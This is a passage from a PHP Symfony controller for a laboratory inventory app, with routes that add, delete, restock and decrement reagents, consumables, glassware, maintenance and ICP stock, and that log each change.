  2461. // Prepare the response
  2462. $response = new StreamedResponse(function () use ($writer) {
  2463. $writer->save('php://output');
  2464. });
  2466. // Set headers for Excel download
  2467. $response->setStatusCode(200);
  2468. $response->headers->set('Content-Type', 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');
  2469. $response->headers->set('Content-Disposition', 'attachment; filename="' . $filename . '"');
  2471. return $response;
  2472. }
  2474. //=====================================================================================================================================================================================<
  2475. /**
  2476. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  2477. * @param Request $request
  2478. * @Route("/stock", name="stock")
  2479. * @return Response $response
  2480. */
  2481. public function stock(Request $request, SluggerInterface $slugger)
  2482. {
  2483. $stock = $this->getDoctrine()->getRepository(Stock::class)->findBy([
  2484. 'type' => 'Reagent'
  2485. ]);
  2488. if ( $request->getMethod() == "POST" ) {
  2489. $data = $request->request->all();
  2491. if (null !== $request->get('addnew')){
  2492. if ($data) {
  2493. $info = $data['entry'];
  2494. $entry = new Stock();
  2496. $entry->setStockname($info['name'])
  2497. ->setQty((float)$info['qty'])
  2498. ->setLow((float)$info['low'])
  2499. ->setCritical((float)$info['critical'])
  2500. ->setComment($info['comment'])
  2501. ->setSupplier($info['supplier'])
  2502. ->setDatemodified(new \DateTime($info['datemodified']))
  2503. ->setUnits($info['units'])
  2504. ->setType("Reagent");
  2506. $this->em->persist($entry);
  2507. $this->em->flush();
  2509. // Create a new StockManagement entry when adding new entry
  2510. $mgmt = new StockManagement();
  2511. $mgmt->setStockId($entry->getId());
  2512. $mgmt->setStockName($entry->getStockname());
  2513. $mgmt->setSupplier($entry->getSupplier());
  2514. $mgmt->setComment($entry->getComment());
  2515. $mgmt->setStockType($entry->getType());
  2516. $mgmt->setActionType('Add new');
  2517. $mgmt->setQuantity($entry->getQty());
  2518. $mgmt->setTotalQuantity($entry->getQty());
  2519. $mgmt->setDate(new \Datetime());
  2521. $this->em->persist($mgmt);
  2522. $this->em->flush();
  2523. return $this->redirect($this->generateUrl('stock'));
  2524. }
  2525. }
  2526. if (null !== $request->get('delete')){
  2527. if ($data) {
  2528. $info = $data['entryid'];
  2529. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  2530. 'id' => $info
  2531. ]);
  2533. // Create a new StockManagement entry when deleting
  2534. $mgmt = new StockManagement();
  2535. $mgmt->setStockId($entry->getId());
  2536. $mgmt->setStockName($entry->getStockname());
  2537. $mgmt->setSupplier($entry->getSupplier());
  2538. $mgmt->setComment($entry->getComment());
  2539. $mgmt->setStockType($entry->getType());
  2540. $mgmt->setActionType('Delete');
  2541. $mgmt->setQuantity(0);
  2542. $mgmt->setTotalQuantity($entry->getQty());
  2543. $mgmt->setDate(new \Datetime());
  2545. $this->removeStockPhotoFile($entry->getItemPhoto());
  2546. $this->removeStockPhotoFile($entry->getPackagePhoto());
  2547. $this->em->remove($entry);
  2548. $this->em->persist($mgmt);
  2549. $this->em->flush();
  2551. return $this->redirect($this->generateUrl('stock'));
  2552. }
  2553. }
  2554. if (null !== $request->get('restock')){
  2555. if ($data) {
  2556. $info = $data['entry'];
  2558. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  2559. 'id' => $data['entryid']
  2560. ]);
  2562. $entry->setQty($entry->getQty()+(float)$data['entry']['qty'])
  2563. ->setDatemodified(new \DateTime($data['entry']['datemodified']))
  2564. ->setLow((float)$info['low'])
  2565. ->setCritical((float)$info['critical'])
  2566. ->setStockname($info['name'])
  2567. ->setSupplier($info['supplier'])
  2568. ->setComment($info['comment'])
  2569. ->setUnits($info['units'])
  2570. ->setOrderstatus($info['qty'] > 0 ? 0 : $entry->getOrderstatus());
  2572. $this->handleStockPhotoUpdate($request, $entry, $slugger);
  2574. // Create a new StockManagement entry when restocking
  2575. $mgmt = new StockManagement();
  2576. $mgmt->setStockId($entry->getId());
  2577. $mgmt->setStockName($entry->getStockname());
  2578. $mgmt->setSupplier($entry->getSupplier());
  2579. $mgmt->setComment($entry->getComment());
  2580. $mgmt->setStockType($entry->getType());
  2581. $mgmt->setActionType('Restock');
  2582. $mgmt->setQuantity((float)$data['entry']['qty']);
  2583. $mgmt->setTotalQuantity($entry->getQty());
  2584. $mgmt->setDate(new \Datetime());
  2586. $this->em->persist($entry);
  2587. $this->em->persist($mgmt);
  2588. $this->em->flush();
  2589. return $this->redirect($this->generateUrl('stock'));
  2590. }
  2591. }
  2592. if (null !== $request->get('takeone')){
  2593. if ($data) {
  2594. $info = $data['entryid'];
  2595. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  2596. 'id' => $data['entryid']
  2597. ]);
  2598. $entry->setQty($entry->getQty() - 1);
  2599. $entry->setDatemodified(new \DateTime($data['entry']['datemodified']));
  2601. // Create a new StockManagement entry when taking one
  2602. $mgmt = new StockManagement();
  2603. $mgmt->setStockId($entry->getId());
  2604. $mgmt->setStockName($entry->getStockname());
  2605. $mgmt->setSupplier($entry->getSupplier());
  2606. $mgmt->setComment($entry->getComment());
  2607. $mgmt->setStockType($entry->getType());
  2608. $mgmt->setActionType('Take One');
  2609. $mgmt->setQuantity(-1);
  2610. $mgmt->setTotalQuantity($entry->getQty());
  2611. $mgmt->setDate(new \Datetime());
  2613. $this->em->persist($entry);
  2614. $this->em->persist($mgmt);
  2615. $this->em->flush();
  2616. return $this->redirect($this->generateUrl('stock'));
  2617. }
  2618. }
  2620. // Handle 'orderstatus' checkbox change
  2621. if (isset($data['orderstatus']) && isset($data['entryid'])) {
  2622. $entryId = $data['entryid'];
  2623. $orderStatus = (bool)$data['orderstatus']; // 1 for checked, 0 for unchecked
  2625. // Find the Stock entry by ID
  2626. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  2627. 'id' => $entryId
  2628. ]);
  2630. if ($entry) {
  2631. $entry->setOrderstatus($orderStatus); // Update orderstatus
  2632. $this->em->persist($entry);
  2633. $this->em->flush();
  2634. return $this->redirect($this->generateUrl('stock'));
  2635. }
  2637. return new JsonResponse(['status' => 'error', 'message' => 'Invalid data']);
  2638. }
  2639. }
  2643. return $this->render('cats/stock.html.twig',[
  2644. 'stock' => $stock
  2645. ]);
  2646. }
  2648. //=====================================================================================================================================================================================<
  2649. /**
  2650. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  2651. * @param Request $request
  2652. * @Route("/stockconsume", name="stockconsume")
  2653. * @return Response $response
  2654. */
  2655. public function stockconsume(Request $request, SluggerInterface $slugger)
  2656. {
  2657. $stock = $this->getDoctrine()->getRepository(Stock::class)->findBy([
  2658. 'type' => 'Consumable'
  2659. ]);
  2662. if ( $request->getMethod() == "POST" ) {
  2663. $data = $request->request->all();
  2665. if (null !== $request->get('addnew')){
  2666. if ($data) {
  2667. $info = $data['entry'];
  2668. $entry = new Stock();
  2669. $entry->setStockname($info['name'])->setQty((float)$info['qty'])
  2670. ->setLow((float)$info['low'])
  2671. ->setCritical((float)$info['critical']);
  2672. $entry->setComment($info['comment']);
  2673. $entry->setSupplier($info['supplier']);
  2674. $entry->setDatemodified(new \DateTime($info['datemodified']));
  2675. $entry->setUnits($info['units']);
  2676. $entry->setType("Consumable");
  2677. $this->em->persist($entry);
  2678. $this->em->flush();
  2680. // Create a new StockManagement entry when adding new entry
  2681. $mgmt = new StockManagement();
  2682. $mgmt->setStockId($entry->getId());
  2683. $mgmt->setStockName($entry->getStockname());
  2684. $mgmt->setSupplier($entry->getSupplier());
  2685. $mgmt->setComment($entry->getComment());
  2686. $mgmt->setStockType($entry->getType());
  2687. $mgmt->setActionType('Add new');
  2688. $mgmt->setQuantity($entry->getQty());
  2689. $mgmt->setTotalQuantity($entry->getQty());
  2690. $mgmt->setDate(new \Datetime());
  2692. $this->em->persist($mgmt);
  2693. $this->em->flush();
  2694. return $this->redirect($this->generateUrl('stockconsume'));
  2695. }
  2696. }
  2697. if (null !== $request->get('delete')){
  2698. if ($data) {
  2699. $info = $data['entryid'];
  2700. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  2701. 'id' => $info
  2702. ]);
  2704. // Create a new StockManagement entry when deleting
  2705. $mgmt = new StockManagement();
  2706. $mgmt->setStockId($entry->getId());
  2707. $mgmt->setStockName($entry->getStockname());
  2708. $mgmt->setSupplier($entry->getSupplier());
  2709. $mgmt->setComment($entry->getComment());
  2710. $mgmt->setStockType($entry->getType());
  2711. $mgmt->setActionType('Delete');
  2712. $mgmt->setQuantity(0);
  2713. $mgmt->setTotalQuantity($entry->getQty());
  2714. $mgmt->setDate(new \Datetime());
  2716. $this->removeStockPhotoFile($entry->getItemPhoto());
  2717. $this->removeStockPhotoFile($entry->getPackagePhoto());
  2718. $this->em->remove($entry);
  2719. $this->em->persist($mgmt);
  2720. $this->em->flush();
  2722. return $this->redirect($this->generateUrl('stockconsume'));
  2723. }
  2724. }
  2725. if (null !== $request->get('restock')){
  2726. if ($data) {
  2727. $info = $data['entry'];
  2729. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  2730. 'id' => $data['entryid']
  2731. ]);
  2732. $entry->setQty($entry->getQty()+(float)$data['entry']['qty']);
  2733. $entry->setDatemodified(new \DateTime($data['entry']['datemodified']))
  2734. ->setLow((float)$info['low'])
  2735. ->setCritical((float)$info['critical']);
  2736. $entry->setStockname($info['name']);
  2737. $entry->setSupplier($info['supplier']);
  2738. $entry->setComment($info['comment']);
  2739. $entry->setUnits($info['units']);
  2740. $entry->setOrderstatus($info['qty'] > 0 ? 0 : $entry->getOrderstatus());
  2742. $this->handleStockPhotoUpdate($request, $entry, $slugger);
  2744. // Create a new StockManagement entry when restocking
  2745. $mgmt = new StockManagement();
  2746. $mgmt->setStockId($entry->getId());
  2747. $mgmt->setStockName($entry->getStockname());
  2748. $mgmt->setSupplier($entry->getSupplier());
  2749. $mgmt->setComment($entry->getComment());
  2750. $mgmt->setStockType($entry->getType());
  2751. $mgmt->setActionType('Restock');
  2752. $mgmt->setQuantity((float)$data['entry']['qty']);
  2753. $mgmt->setTotalQuantity($entry->getQty());
  2754. $mgmt->setDate(new \Datetime());
  2756. $this->em->persist($entry);
  2757. $this->em->persist($mgmt);
  2758. $this->em->flush();
  2759. return $this->redirect($this->generateUrl('stockconsume'));
  2760. }
  2761. }
  2762. if (null !== $request->get('takeone')){
  2763. if ($data) {
  2764. $info = $data['entryid'];
  2765. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  2766. 'id' => $data['entryid']
  2767. ]);
  2768. $entry->setQty($entry->getQty() - 1);
  2769. $entry->setDatemodified(new \DateTime($data['entry']['datemodified']));
  2771. // Create a new StockManagement entry when taking one
  2772. $mgmt = new StockManagement();
  2773. $mgmt->setStockId($entry->getId());
  2774. $mgmt->setStockName($entry->getStockname());
  2775. $mgmt->setSupplier($entry->getSupplier());
  2776. $mgmt->setComment($entry->getComment());
  2777. $mgmt->setStockType($entry->getType());
  2778. $mgmt->setActionType('Take One');
  2779. $mgmt->setQuantity(-1);
  2780. $mgmt->setTotalQuantity($entry->getQty());
  2781. $mgmt->setDate(new \Datetime());
  2783. $this->em->persist($entry);
  2784. $this->em->persist($mgmt);
  2785. $this->em->flush();
  2786. return $this->redirect($this->generateUrl('stockconsume'));
  2787. }
  2788. }
  2790. // Handle 'orderstatus' checkbox change
  2791. if (isset($data['orderstatus']) && isset($data['entryid'])) {
  2792. $entryId = $data['entryid'];
  2793. $orderStatus = (bool)$data['orderstatus']; // 1 for checked, 0 for unchecked
  2795. // Find the Stock entry by ID
  2796. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  2797. 'id' => $entryId
  2798. ]);
  2800. if ($entry) {
  2801. $entry->setOrderstatus($orderStatus); // Update orderstatus
  2802. $this->em->persist($entry);
  2803. $this->em->flush();
  2804. return $this->redirect($this->generateUrl('stockconsume'));
  2805. }
  2807. return new JsonResponse(['status' => 'error', 'message' => 'Invalid data']);
  2808. }
  2809. }
  2811. return $this->render('cats/stockconsume.html.twig',[
  2812. 'stock' => $stock
  2813. ]);
  2814. }
  2816. //=====================================================================================================================================================================================<
  2817. /**
  2818. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  2819. * @param Request $request
  2820. * @Route("/equipstock", name="equipstock")
  2821. * @return Response $response
  2822. */
  2823. public function equipstock(Request $request, SluggerInterface $slugger)
  2824. {
  2825. $stock = $this->getDoctrine()->getRepository(Stock::class)->findBy([
  2826. 'type' => 'Glass'
  2827. ]);
  2830. if ( $request->getMethod() == "POST" ) {
  2831. $data = $request->request->all();
  2833. if (null !== $request->get('addnew')){
  2834. if ($data) {
  2835. $info = $data['entry'];
  2836. $entry = new Stock();
  2837. $entry->setStockname($info['name'])->setQty((float)$info['qty'])
  2838. ->setLow((float)$info['low'])
  2839. ->setCritical((float)$info['critical']);
  2840. $entry->setComment($info['comment']);
  2841. $entry->setSupplier($info['supplier']);
  2842. $entry->setDatemodified(new \DateTime($info['datemodified']));
  2843. $entry->setUnits($info['units']);
  2844. $entry->setType("Glass");
  2845. $this->em->persist($entry);
  2846. $this->em->flush();
  2848. // Create a new StockManagement entry when adding new entry
  2849. $mgmt = new StockManagement();
  2850. $mgmt->setStockId($entry->getId());
  2851. $mgmt->setStockName($entry->getStockname());
  2852. $mgmt->setSupplier($entry->getSupplier());
  2853. $mgmt->setComment($entry->getComment());
  2854. $mgmt->setStockType($entry->getType());
  2855. $mgmt->setActionType('Add new');
  2856. $mgmt->setQuantity($entry->getQty());
  2857. $mgmt->setTotalQuantity($entry->getQty());
  2858. $mgmt->setDate(new \Datetime());
  2860. $this->em->persist($mgmt);
  2861. $this->em->flush();
  2862. return $this->redirect($this->generateUrl('equipstock'));
  2863. }
  2864. }
  2865. if (null !== $request->get('delete')){
  2866. if ($data) {
  2867. $info = $data['entryid'];
  2868. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  2869. 'id' => $info
  2870. ]);
  2872. // Create a new StockManagement entry when deleting
  2873. $mgmt = new StockManagement();
  2874. $mgmt->setStockId($entry->getId());
  2875. $mgmt->setStockName($entry->getStockname());
  2876. $mgmt->setSupplier($entry->getSupplier());
  2877. $mgmt->setComment($entry->getComment());
  2878. $mgmt->setStockType($entry->getType());
  2879. $mgmt->setActionType('Delete');
  2880. $mgmt->setQuantity(0);
  2881. $mgmt->setTotalQuantity($entry->getQty());
  2882. $mgmt->setDate(new \Datetime());
  2884. $this->removeStockPhotoFile($entry->getItemPhoto());
  2885. $this->removeStockPhotoFile($entry->getPackagePhoto());
  2886. $this->em->remove($entry);
  2887. $this->em->persist($mgmt);
  2888. $this->em->flush();
  2890. return $this->redirect($this->generateUrl('equipstock'));
  2891. }
  2892. }
  2893. if (null !== $request->get('restock')){
  2894. if ($data) {
  2895. $info = $data['entry'];
  2897. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  2898. 'id' => $data['entryid']
  2899. ]);
  2900. $entry->setQty($entry->getQty()+(float)$data['entry']['qty']);
  2901. $entry->setDatemodified(new \DateTime($data['entry']['datemodified']))
  2902. ->setLow((float)$info['low'])
  2903. ->setCritical((float)$info['critical']);
  2904. $entry->setStockname($info['name']);
  2905. $entry->setSupplier($info['supplier']);
  2906. $entry->setComment($info['comment']);
  2907. $entry->setUnits($info['units']);
  2908. $entry->setOrderstatus($info['qty'] > 0 ? 0 : $entry->getOrderstatus());
  2910. $this->handleStockPhotoUpdate($request, $entry, $slugger);
  2912. // Create a new StockManagement entry when restocking
  2913. $mgmt = new StockManagement();
  2914. $mgmt->setStockId($entry->getId());
  2915. $mgmt->setStockName($entry->getStockname());
  2916. $mgmt->setSupplier($entry->getSupplier());
  2917. $mgmt->setComment($entry->getComment());
  2918. $mgmt->setStockType($entry->getType());
  2919. $mgmt->setActionType('Restock');
  2920. $mgmt->setQuantity((float)$data['entry']['qty']);
  2921. $mgmt->setTotalQuantity($entry->getQty());
  2922. $mgmt->setDate(new \Datetime());
  2924. $this->em->persist($entry);
  2925. $this->em->persist($mgmt);
  2926. $this->em->flush();
  2927. return $this->redirect($this->generateUrl('equipstock'));
  2928. }
  2929. }
  2930. if (null !== $request->get('takeone')){
  2931. if ($data) {
  2932. $info = $data['entryid'];
  2933. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  2934. 'id' => $data['entryid']
  2935. ]);
  2936. $entry->setQty($entry->getQty() - 1);
  2937. $entry->setDatemodified(new \DateTime($data['entry']['datemodified']));
  2939. // Create a new StockManagement entry when taking one
  2940. $mgmt = new StockManagement();
  2941. $mgmt->setStockId($entry->getId());
  2942. $mgmt->setStockName($entry->getStockname());
  2943. $mgmt->setSupplier($entry->getSupplier());
  2944. $mgmt->setComment($entry->getComment());
  2945. $mgmt->setStockType($entry->getType());
  2946. $mgmt->setActionType('Take One');
  2947. $mgmt->setQuantity(-1);
  2948. $mgmt->setTotalQuantity($entry->getQty());
  2949. $mgmt->setDate(new \Datetime());
  2951. $this->em->persist($entry);
  2952. $this->em->persist($mgmt);
  2953. $this->em->flush();
  2954. return $this->redirect($this->generateUrl('equipstock'));
  2955. }
  2956. }
  2958. // Handle 'orderstatus' checkbox change
  2959. if (isset($data['orderstatus']) && isset($data['entryid'])) {
  2960. $entryId = $data['entryid'];
  2961. $orderStatus = (bool)$data['orderstatus']; // 1 for checked, 0 for unchecked
  2963. // Find the Stock entry by ID
  2964. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  2965. 'id' => $entryId
  2966. ]);
  2968. if ($entry) {
  2969. $entry->setOrderstatus($orderStatus); // Update orderstatus
  2970. $this->em->persist($entry);
  2971. $this->em->flush();
  2972. return $this->redirect($this->generateUrl('equipstock'));
  2973. }
  2975. return new JsonResponse(['status' => 'error', 'message' => 'Invalid data']);
  2976. }
  2977. }
  2979. return $this->render('cats/equipstock.html.twig',[
  2980. 'stock' => $stock
  2981. ]);
  2982. }
  2985. //=====================================================================================================================================================================================<
  2986. /**
  2987. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  2988. * @param Request $request
  2989. * @Route("/stockMaintenance", name="stockMaintenance")
  2990. * @return Response $response
  2991. */
  2992. public function stockMaintenance(Request $request, SluggerInterface $slugger)
  2993. {
  2994. $stock = $this->getDoctrine()->getRepository(Stock::class)->findBy([
  2995. 'type' => 'Maintenance'
  2996. ]);
  2999. if ( $request->getMethod() == "POST" ) {
  3000. $data = $request->request->all();
  3002. if (null !== $request->get('addnew')){
  3003. if ($data) {
  3004. $info = $data['entry'];
  3005. $entry = new Stock();
  3007. $entry->setStockname($info['name'])
  3008. ->setSupplier($info['supplier'])
  3009. ->setFault($info['fault'])
  3010. ->setUnits($info['units'])
  3011. ->setQty(1)
  3012. ->setComment($info['comment'])
  3013. ->setDatemodified(new \DateTime($info['datemodified']))
  3014. ->setType("Maintenance");
  3016. $this->em->persist($entry);
  3017. $this->em->flush();
  3018. return $this->redirect($this->generateUrl('stockMaintenance'));
  3019. }
  3020. }
  3021. if (null !== $request->get('delete')){
  3022. if ($data) {
  3023. $info = $data['entryid'];
  3024. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  3025. 'id' => $info
  3026. ]);
  3027. $this->removeStockPhotoFile($entry->getItemPhoto());
  3028. $this->removeStockPhotoFile($entry->getPackagePhoto());
  3029. $this->em->remove($entry);
  3030. $this->em->flush();
  3032. return $this->redirect($this->generateUrl('stockMaintenance'));
  3033. }
  3034. }
  3035. if (null !== $request->get('restock')){
  3036. if ($data) {
  3037. $info = $data['entry'];
  3039. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  3040. 'id' => $data['entryid']
  3041. ]);
  3042. $entry->setDatemodified(new \DateTime());
  3043. $entry->setStockname($info['name']);
  3044. $entry->setFault($info['fault']);
  3045. $entry->setSupplier($info['supplier']);
  3046. $entry->setComment($info['comment']);
  3047. $entry->setUnits($info['units']);
  3048. $this->handleStockPhotoUpdate($request, $entry, $slugger);
  3049. $this->em->persist($entry);
  3050. $this->em->flush();
  3051. return $this->redirect($this->generateUrl('stockMaintenance'));
  3052. }
  3053. }
  3054. }
  3056. return $this->render('cats/stockMaintenance.html.twig',[
  3057. 'stock' => $stock
  3058. ]);
  3059. }
  3060. //=====================================================================================================================================================================================<
  3061. /**
  3062. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  3063. * @param Request $request
  3064. * @Route("/icpstock", name="icpstock")
  3065. * @return Response $response
  3066. */
  3067. public function icpstock(Request $request, SluggerInterface $slugger)
  3068. {
  3069. $stock = $this->getDoctrine()->getRepository(Stock::class)->findBy([
  3070. 'type' => 'ICP'
  3071. ]);
  3074. if ( $request->getMethod() == "POST" ) {
  3075. $data = $request->request->all();
  3077. if (null !== $request->get('addnew')){
  3078. if ($data) {
  3079. $info = $data['entry'];
  3080. $entry = new Stock();
  3081. $entry->setStockname($info['name'])->setQty((float)$info['qty'])
  3082. ->setLow((float)$info['low'])
  3083. ->setCritical((float)$info['critical']);
  3084. $entry->setComment($info['comment']);
  3085. $entry->setSupplier($info['supplier']);
  3086. $entry->setDatemodified(new \DateTime($info['datemodified']));
  3087. $entry->setUnits($info['units']);
  3088. $entry->setType("ICP");
  3089. $this->em->persist($entry);
  3090. $this->em->flush();
  3092. // Create a new StockManagement entry when adding new entry
  3093. $mgmt = new StockManagement();
  3094. $mgmt->setStockId($entry->getId());
  3095. $mgmt->setStockName($entry->getStockname());
  3096. $mgmt->setSupplier($entry->getSupplier());
  3097. $mgmt->setComment($entry->getComment());
  3098. $mgmt->setStockType($entry->getType());
  3099. $mgmt->setActionType('Add new');
  3100. $mgmt->setQuantity($entry->getQty());
  3101. $mgmt->setTotalQuantity($entry->getQty());
  3102. $mgmt->setDate(new \Datetime());
  3104. $this->em->persist($mgmt);
  3105. $this->em->flush();
  3106. return $this->redirect($this->generateUrl('icpstock'));
  3107. }
  3108. }
  3109. if (null !== $request->get('delete')){
  3110. if ($data) {
  3111. $info = $data['entryid'];
  3112. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  3113. 'id' => $info
  3114. ]);
  3116. // Create a new StockManagement entry when deleting
  3117. $mgmt = new StockManagement();
  3118. $mgmt->setStockId($entry->getId());
  3119. $mgmt->setStockName($entry->getStockname());
  3120. $mgmt->setSupplier($entry->getSupplier());
  3121. $mgmt->setComment($entry->getComment());
  3122. $mgmt->setStockType($entry->getType());
  3123. $mgmt->setActionType('Delete');
  3124. $mgmt->setQuantity(0);
  3125. $mgmt->setTotalQuantity($entry->getQty());
  3126. $mgmt->setDate(new \Datetime());
  3128. $this->removeStockPhotoFile($entry->getItemPhoto());
  3129. $this->removeStockPhotoFile($entry->getPackagePhoto());
  3130. $this->em->remove($entry);
  3131. $this->em->persist($mgmt);
  3132. $this->em->flush();
  3134. return $this->redirect($this->generateUrl('icpstock'));
  3135. }
  3136. }
  3137. if (null !== $request->get('restock')){
  3138. if ($data) {
  3139. $info = $data['entry'];
  3141. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  3142. 'id' => $data['entryid']
  3143. ]);
  3144. $entry->setQty($entry->getQty()+(float)$data['entry']['qty']);
  3145. $entry->setDatemodified(new \DateTime($data['entry']['datemodified']))
  3146. ->setLow((float)$info['low'])
  3147. ->setCritical((float)$info['critical']);
  3148. $entry->setStockname($info['name']);
  3149. $entry->setSupplier($info['supplier']);
  3150. $entry->setComment($info['comment']);
  3151. $entry->setUnits($info['units']);
  3152. $entry->setOrderstatus($info['qty'] > 0 ? 0 : $entry->getOrderstatus());
  3154. $this->handleStockPhotoUpdate($request, $entry, $slugger);
  3156. // Create a new StockManagement entry when restocking
  3157. $mgmt = new StockManagement();
  3158. $mgmt->setStockId($entry->getId());
  3159. $mgmt->setStockName($entry->getStockname());
  3160. $mgmt->setSupplier($entry->getSupplier());
  3161. $mgmt->setComment($entry->getComment());
  3162. $mgmt->setStockType($entry->getType());
  3163. $mgmt->setActionType('Restock');
  3164. $mgmt->setQuantity((float)$data['entry']['qty']);
  3165. $mgmt->setTotalQuantity($entry->getQty());
  3166. $mgmt->setDate(new \Datetime());
  3168. $this->em->persist($entry);
  3169. $this->em->persist($mgmt);
  3170. $this->em->flush();
  3171. return $this->redirect($this->generateUrl('icpstock'));
  3172. }
  3173. }
  3174. if (null !== $request->get('takeone')){
  3175. if ($data) {
  3176. $info = $data['entryid'];
  3177. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  3178. 'id' => $data['entryid']
  3179. ]);
  3180. $entry->setQty($entry->getQty() - 1);
  3181. $entry->setDatemodified(new \DateTime($data['entry']['datemodified']));
  3183. // Create a new StockManagement entry when taking one
  3184. $mgmt = new StockManagement();
  3185. $mgmt->setStockId($entry->getId());
  3186. $mgmt->setStockName($entry->getStockname());
  3187. $mgmt->setSupplier($entry->getSupplier());
  3188. $mgmt->setComment($entry->getComment());
  3189. $mgmt->setStockType($entry->getType());
  3190. $mgmt->setActionType('Take One');
  3191. $mgmt->setQuantity(-1);
  3192. $mgmt->setTotalQuantity($entry->getQty());
  3193. $mgmt->setDate(new \Datetime());
  3195. $this->em->persist($entry);
  3196. $this->em->persist($mgmt);
  3197. $this->em->flush();
  3198. return $this->redirect($this->generateUrl('icpstock'));
  3199. }
  3200. }
  3202. // Handle 'orderstatus' checkbox change
  3203. if (isset($data['orderstatus']) && isset($data['entryid'])) {
  3204. $entryId = $data['entryid'];
  3205. $orderStatus = (bool)$data['orderstatus']; // 1 for checked, 0 for unchecked
  3207. // Find the Stock entry by ID
  3208. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  3209. 'id' => $entryId
  3210. ]);
  3212. if ($entry) {
  3213. $entry->setOrderstatus($orderStatus); // Update orderstatus
  3214. $this->em->persist($entry);
  3215. $this->em->flush();
  3216. return $this->redirect($this->generateUrl('icpstock'));
  3217. }
  3219. return new JsonResponse(['status' => 'error', 'message' => 'Invalid data']);
  3220. }
  3221. }
  3223. return $this->render('cats/icpstock.html.twig',[
  3224. 'stock' => $stock
  3225. ]);
  3226. }
  3228. //=====================================================================================================================================================================================<
  3229. /**
  3230. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  3231. * @param Request $request
  3232. * @Route("/icpstandardstock", name="icpstandardstock")
  3233. * @return Response $response
  3234. */
  3235. public function icpstandardstock(Request $request, SluggerInterface $slugger)
  3236. {
  3237. $stock = $this->getDoctrine()->getRepository(Stock::class)->findBy([
  3238. 'type' => 'ICP Standard'
  3239. ]);
  3242. if ( $request->getMethod() == "POST" ) {
  3243. $data = $request->request->all();
  3245. if (null !== $request->get('addnew')){
  3246. if ($data) {
  3247. $info = $data['entry'];
  3248. $entry = new Stock();
  3249. $entry->setStockname($info['name'])->setQty((float)$info['qty'])
  3250. ->setLow((float)$info['low'])
  3251. ->setCritical((float)$info['critical']);
  3252. $entry->setComment($info['comment']);
  3253. $entry->setSupplier($info['supplier']);
  3254. $entry->setDatemodified(new \DateTime($info['datemodified']));
  3255. $entry->setUnits($info['units']);
  3256. $entry->setType("ICP Standard");
  3257. $this->em->persist($entry);
  3258. $this->em->flush();
  3260. // Create a new StockManagement entry when adding new entry
  3261. $mgmt = new StockManagement();
  3262. $mgmt->setStockId($entry->getId());
  3263. $mgmt->setStockName($entry->getStockname());
  3264. $mgmt->setSupplier($entry->getSupplier());
  3265. $mgmt->setComment($entry->getComment());
  3266. $mgmt->setStockType($entry->getType());
  3267. $mgmt->setActionType('Add new');
  3268. $mgmt->setQuantity($entry->getQty());
  3269. $mgmt->setTotalQuantity($entry->getQty());
  3270. $mgmt->setDate(new \Datetime());
  3272. $this->em->persist($mgmt);
  3273. $this->em->flush();
  3274. return $this->redirect($this->generateUrl('icpstandardstock'));
  3275. }
  3276. }
  3278. if (null !== $request->get('delete')){
  3279. if ($data) {
  3280. $info = $data['entryid'];
  3281. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  3282. 'id' => $info
  3283. ]);
  3285. // Create a new StockManagement entry when deleting
  3286. $mgmt = new StockManagement();
  3287. $mgmt->setStockId($entry->getId());
  3288. $mgmt->setStockName($entry->getStockname());
  3289. $mgmt->setSupplier($entry->getSupplier());
  3290. $mgmt->setComment($entry->getComment());
  3291. $mgmt->setStockType($entry->getType());
  3292. $mgmt->setActionType('Delete');
  3293. $mgmt->setQuantity(0);
  3294. $mgmt->setTotalQuantity($entry->getQty());
  3295. $mgmt->setDate(new \Datetime());
  3297. $this->removeStockPhotoFile($entry->getItemPhoto());
  3298. $this->removeStockPhotoFile($entry->getPackagePhoto());
  3299. $this->em->remove($entry);
  3300. $this->em->persist($mgmt);
  3301. $this->em->flush();
  3303. return $this->redirect($this->generateUrl('icpstandardstock'));
  3304. }
  3305. }
  3307. if (null !== $request->get('restock')){
  3308. if ($data) {
  3309. $info = $data['entry'];
  3311. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  3312. 'id' => $data['entryid']
  3313. ]);
  3314. $entry->setQty($entry->getQty()+(float)$data['entry']['qty']);
  3315. $entry->setDatemodified(new \DateTime($data['entry']['datemodified']))
  3316. ->setLow((float)$info['low'])
  3317. ->setCritical((float)$info['critical']);
  3318. $entry->setStockname($info['name']);
  3319. $entry->setSupplier($info['supplier']);
  3320. $entry->setComment($info['comment']);
  3321. $entry->setUnits($info['units']);
  3322. $entry->setOrderstatus($info['qty'] > 0 ? 0 : $entry->getOrderstatus());
  3324. $this->handleStockPhotoUpdate($request, $entry, $slugger);
  3326. // Create a new StockManagement entry when restocking
  3327. $mgmt = new StockManagement();
  3328. $mgmt->setStockId($entry->getId());
